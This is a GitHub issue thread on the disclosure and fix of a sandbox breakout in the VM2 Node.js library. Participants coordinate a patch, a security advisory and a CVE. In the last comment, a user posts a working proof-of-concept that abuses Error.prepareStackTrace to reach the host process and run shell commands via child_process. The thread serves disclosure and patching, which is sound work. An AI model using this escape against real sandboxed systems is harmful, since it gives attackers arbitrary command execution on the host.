Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sandbox Breakout in VM2 #467

Closed
oxeye-daniel opened this issue Aug 28, 2022 · 18 comments
Closed

Sandbox Breakout in VM2 #467

oxeye-daniel opened this issue Aug 28, 2022 · 18 comments

Comments

@oxeye-daniel
Copy link

Hello 馃憢
The Oxeye research team has found a sandbox breakout vulnerability in VM2. We would like to share the in-depth analysis with you so the vulnerability can be fixed. We tried to contact security@integromat.com but didn't get any response.

Could you please share with me an email address to keep the issue private?

Best,
Oxeye Research Team

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 28, 2022

Thanks for reaching out, you can contact me under .

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 28, 2022

Thanks for the report. This should be fixed in version 3.9.11.

@XmiliaH XmiliaH closed this as completed Aug 28, 2022
@Rugvip
Copy link

Rugvip commented Aug 29, 2022

Hi @XmiliaH! Wanted to check whether you would consider creating a GitHub Security Advisory for this? It's a pretty lightweight process and a nice way to make sure updates are picked up by users as soon as possible.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 29, 2022

I do not have the necessary permissions in this repository to create advisories.

@Rugvip
Copy link

Rugvip commented Aug 29, 2022

Ah sorry of course, is @patriksimek around? 馃檹

@mchechik
Copy link

@XmiliaH - do you happen to know who the admins are for this repo and would have the necessary permissions? Thanks in advance!

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 29, 2022

It is patriksimek but they are not very active in this repo.

@patriksimek
Copy link
Owner

I didn't find a way how to set roles for public repositories. Is migration to an organization the only way to allow @XmiliaH to contribute to GitHub Security Advisory?

@mchechik
Copy link

mchechik commented Aug 29, 2022

to create advisories, I think you have to make @XmiliaH an admin in this repo (under Collaborators settings), per this doc - https://docs.github.com/en/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories

alternatively, you can create an empty advisory and add @XmiliaH as a collaborator (maybe @oxeye-daniel too, since they have the most details), per this doc - https://docs.github.com/en/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory - then they can fill it out and publish

@patriksimek
Copy link
Owner

Unfortunately, I can't see any configuration of roles in this repository.

I have created the empty advisory and shared access with both @XmiliaH and @oxeye-daniel.

@oxeye-daniel
Copy link
Author

Thanks, @patriksimek, for opening the advisory; it is much appreciated.
@XmiliaH - I added my notes to the advisory, should you need any further details don't hesitate to contact me.

Thanks again everyone for the collaboration 馃檹

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 29, 2022

@oxeye-daniel Did you already request a CVE or should we do it through this advisory?

@oxeye-daniel
Copy link
Author

@XmiliaH please request one through the advisory.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 29, 2022

In that case I have noting to add to the advisory. If @patriksimek has nothing to add they can publish the advisory as only they have the permissions to do so.

@oxeye-daniel
Copy link
Author

Sounds good @XmiliaH; as I see it only @patriksimek has the permissions to create the advisory now.

@patriksimek
Copy link
Owner

Just requested the CVE and published the advisory. Let me know if there's anything else to do. Thank you @oxeye-daniel for reporting the issue and @XmiliaH for a quick fix!

@liudonghua123
Copy link

Could you share the poc, I'm just curious.

Why add Error: {value: LocalError} could fix CVE-2022-36067?

Object.defineProperties(global, {
	global: {value: global, writable: true, configurable: true, enumerable: true},
	globalThis: {value: global, writable: true, configurable: true},
	GLOBAL: {value: global, writable: true, configurable: true},
	root: {value: global, writable: true, configurable: true},
	Error: {value: LocalError}
});

@liudonghua123
Copy link

liudonghua123 commented Sep 15, 2022

After some exploration. I find the secrets from d9a7f3c.

var vulnerabilities = function () {
  // This line insert vulnerabilities!
  global.Error.prepareStackTrace = (_, c) =>
    c.map((c) => c.getThis()).find((a) => a && a.process);
  const { stack } = new Error();
  // now you can get process object from stack.process
  console.info(stack.process.mainModule);
  // and you can use process.mainModule.require to import any library to execute any commands
  stack.process.mainModule.require('child_process').execSync('pwd');
};

vulnerabilities();

some reference

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

6 participants